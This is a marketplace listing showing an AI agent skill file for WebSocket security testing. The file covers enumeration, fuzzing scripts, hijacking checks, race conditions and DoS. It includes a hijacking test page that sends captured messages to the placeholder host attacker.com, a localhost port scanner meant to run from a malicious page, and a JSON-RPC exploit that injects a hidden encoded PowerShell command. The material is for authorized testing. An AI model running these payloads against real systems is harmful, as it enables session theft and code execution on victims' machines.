websocket-security-testing

Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

Ir para a instalação

Repositório: abelrguezr/hacktricks-skills
Última atividade na origem: 23 de março de 2026 às 14:29
Idioma detectado do SKILL.md: inglês
Estrelas: 21
Forks: 8

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.

Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.

npx skills add https://github.com/abelrguezr/hacktricks-skills --skill websocket-security-testing

O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.

Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Explorador de arquivos

5 arquivos

SKILL.md

Instruções da origem · Visualização somente leitura

Voltar à pesquisa Voltar à instalação

ai-fuzzing-assistant

AI-assisted fuzzing and vulnerability discovery. Use this skill whenever the user wants to generate fuzzing seeds, evolve grammars, analyze crashes, create proof-of-vulnerability exploits, or generate patches for discovered bugs. Trigger on mentions of fuzzing, AFL++, libFuzzer, vulnerability discovery, crash analysis, exploit generation, or security testing with LLMs.

2026-03-23

burp-mcp-integration

Set up and use Burp Suite's MCP Server extension to enable LLM-assisted passive vulnerability discovery. Use this skill whenever the user wants to integrate Burp with MCP-capable AI tools (Codex, Gemini, Ollama, Claude), configure the MCP proxy, troubleshoot handshake issues, or analyze intercepted HTTP traffic for security findings. Trigger on mentions of Burp MCP, Burp AI Agent, MCP proxy setup, or LLM-assisted traffic review.

2026-03-23

deep-learning-helper

Help users understand and implement deep learning concepts including neural networks, CNNs, RNNs, LLMs, and diffusion models. Use this skill whenever the user asks about deep learning architectures, wants to build neural networks in PyTorch, needs help with training loops, or wants to understand concepts like backpropagation, activation functions, attention mechanisms, or generative models. Make sure to use this skill for any deep learning related questions, code reviews, architecture design, or implementation help.

2026-03-23

Ver todas deste repositório

name	websocket-security-testing
description	Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

WebSocket Security Testing

A comprehensive skill for testing WebSocket implementations for security vulnerabilities.

When to Use This Skill

Use this skill when:

Testing WebSocket endpoints (ws:// or wss://) for security issues
Auditing real-time communication channels in web applications
Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
Fuzzing WebSocket messages for injection vulnerabilities
Testing localhost WebSocket services exposed by desktop applications
Analyzing WebSocket race conditions or DoS vectors

Quick Start

# Basic WebSocket connection test
websocat --insecure wss://target.com/ws

# WebSocket enumeration with STEWS
stews --url wss://target.com/ws --scan

# Localhost port discovery (Chromium-based browsers)
# Run from a malicious page to find exposed WebSocket services

WebSocket Fundamentals

Connection Establishment

WebSocket connections start with an HTTP handshake:

GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket

Key headers to examine:

Sec-WebSocket-Key: Unique per handshake (not for auth)
Sec-WebSocket-Accept: Server's hash response
Origin: Should be validated by server
Cookie: Often used for authentication (CSWSH risk)

Protocol Variants

Protocol	Description
`ws://`	Unencrypted WebSocket
`wss://`	TLS-encrypted WebSocket
Socket.IO	WebSocket with custom framing (`EIO=4` parameter)

Enumeration

Manual Discovery

Find WebSocket endpoints:
- Search JavaScript files for new WebSocket(
- Look for ws:// or wss:// in network traffic
- Check for Socket.IO patterns (socket.io, EIO=)

Use automated tools:

# STEWS - WebSocket vulnerability scanner
stews --url wss://target.com/ws --scan

# websocat - Raw connection testing
websocat --insecure wss://target.com/ws -v

Tools Reference

Tool	Purpose
STEWS	Automated vulnerability scanning
websocat	CLI WebSocket client/server
Burp Suite	Proxy with WebSocket support
socketsleuth	Burp extension for WebSocket history
WSSiP	WebSocket/Socket.IO proxy
wsrepl	Interactive WebSocket REPL
WebSocket Turbo Intruder	High-rate fuzzing

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

CSWSH is possible when:

Authentication uses cookies only (no CSRF tokens)
Cookie has SameSite=None or is missing SameSite
Server doesn't validate Origin header
Browser allows third-party cookies

Test Script

Create a test page to check for CSWSH:

<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = () => {
  console.log('WebSocket connected - CSWSH may be possible');
  ws.send('READY'); // Trigger response
};

ws.onmessage = (event) => {
  console.log('Received:', event.data);
  // Exfiltration test (no-cors mode)
  fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data), 
        {mode: 'no-cors'});
};

ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>

Mitigations to Verify

Protection	How to Check
Origin validation	Server rejects requests with mismatched Origin
CSRF tokens	WebSocket requires token in message or query param
SameSite cookies	Cookies have `SameSite=Lax` or `SameSite=Strict`
Token auth	Authentication via header/token, not cookies

Fuzzing with Turbo Intruder

Basic Fuzzing Script

def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    for i in range(10):
        connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Socket.IO Fuzzing

Socket.IO requires special handling:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
    # Add EIO parameter for Socket.IO
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(
            HttpParameter.urlParameter("EIO", "4")
        )
    )
    # Keep session alive
    connection.queue('40')  # Open
    connection.queue('42["message","hello"]')  # Event

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

HTTP Middleware Pattern

Bridge WebSocket to HTTP for scanner compatibility:

def create_connection(upgrade_request):
    connection = websocket_connection.create(upgrade_request)
    return connection

@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Then send HTTP requests:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"test"}

Localhost WebSocket Abuse

Port Discovery

Desktop applications often expose WebSocket services on localhost:

async function findLocalWs(start = 20000, end = 36000) {
  for (let port = start; port <= end; port++) {
    await new Promise((resolve) => {
      const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
      let settled = false;
      const finish = () => { 
        if (!settled) { settled = true; resolve(); } 
      };
      ws.onerror = ws.onclose = finish;
      ws.onopen = () => {
        console.log(`Found WebSocket on port ${port}`);
        ws.close();
        finish();
      };
    });
  }
}

JSON-RPC Exploitation

Many localhost services use JSON-RPC:

// Example: CurseForge-style exploitation
const ws = new WebSocket('ws://127.0.0.1:PORT/');

ws.onopen = () => {
  // Step 1: Create resource
  ws.send(JSON.stringify({
    type: 'method',
    name: 'createModpack',
    args: {}
  }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  if (data.MinecraftInstanceGuid) {
    // Step 2: Launch with malicious args
    ws.send(JSON.stringify({
      type: 'method',
      name: 'minecraftTaskLaunchInstance',
      args: {
        MinecraftInstanceGuid: data.MinecraftInstanceGuid,
        AdditionalJavaArguments: [
          '-XX:MaxMetaspaceSize=16m',
          '-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
        ]
      }
    }));
  }
};

Race Conditions

Testing Approach

Use THREADED engine for race condition testing:

# Configure for parallel connections
def config():
    return {
        'engine': 'THREADED',
        'concurrency': 100
    }

def queue_websockets(upgrade_request, message):
    # Each connection fires independently
    connection = websocket_connection.create(upgrade_request)
    connection.queue(message)

Common Race Scenarios

Double-spend attacks
Token reuse
State desynchronization
Authentication bypass

DoS Testing

Ping of Death

Craft malformed frames to test server resilience:

# Example: Large payload length with no body
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    # Set payload length near Integer.MAX_VALUE
    # Server may pre-allocate buffer and crash

Warning: Only test with authorization. High-rate fuzzing can cause real DoS.

Other Vulnerabilities

Input Validation

WebSockets can carry the same vulnerabilities as HTTP:

XSS: Malicious payloads in WebSocket messages
SQLi: User input in database queries
Command Injection: Shell commands in message data
Prototype Pollution: __proto__ in JSON messages

Prototype Pollution Detection

{"__proto__":{"initialPacket":"Polluted"}}

If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.

WebSocket Smuggling

Bypass reverse proxies by faking WebSocket handshakes:

GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13

[Malformed body to confuse proxy]

Testing Workflow

Reconnaissance
- Find WebSocket endpoints in JS files
- Map authentication mechanisms
- Identify protocol (WebSocket vs Socket.IO)
Enumeration
- Run STEWS for automated scanning
- Test with websocat for manual exploration
- Capture legitimate traffic for protocol analysis
Vulnerability Testing
- Test for CSWSH (cookie auth + no Origin check)
- Fuzz messages for injection vulnerabilities
- Check for race conditions with parallel connections
- Test localhost services if applicable
Documentation
- Record all findings with evidence
- Include reproduction steps
- Suggest mitigations

Safety Guidelines

Authorization required: Only test systems you own or have permission to test
Rate limiting: High-rate fuzzing can cause DoS
Malformed frames: May crash servers
Data handling: WebSocket messages may contain sensitive data

websocket-security-testing

Informações da origem

Opções de instalação

Revise os arquivos de origem

Mais deste repositório

Mais deste repositório

WebSocket Security Testing

When to Use This Skill

Quick Start

WebSocket Fundamentals

Connection Establishment

Protocol Variants

Enumeration

Manual Discovery

Tools Reference

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

Test Script

Mitigations to Verify

Fuzzing with Turbo Intruder

Basic Fuzzing Script

Socket.IO Fuzzing

HTTP Middleware Pattern

Localhost WebSocket Abuse

Port Discovery

JSON-RPC Exploitation

Race Conditions

Testing Approach

Common Race Scenarios

DoS Testing

Ping of Death

Other Vulnerabilities

Input Validation

Prototype Pollution Detection

WebSocket Smuggling

Testing Workflow

Safety Guidelines

References

WebSocket Security Testing

When to Use This Skill

Quick Start

WebSocket Fundamentals

Connection Establishment

Protocol Variants

Enumeration

Manual Discovery

Tools Reference

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

Test Script

Mitigations to Verify

Fuzzing with Turbo Intruder

Basic Fuzzing Script

Socket.IO Fuzzing

HTTP Middleware Pattern

Localhost WebSocket Abuse

Port Discovery

JSON-RPC Exploitation

Race Conditions

Testing Approach

Common Race Scenarios

DoS Testing

Ping of Death

Other Vulnerabilities

Input Validation

Prototype Pollution Detection

WebSocket Smuggling

Testing Workflow

Safety Guidelines

References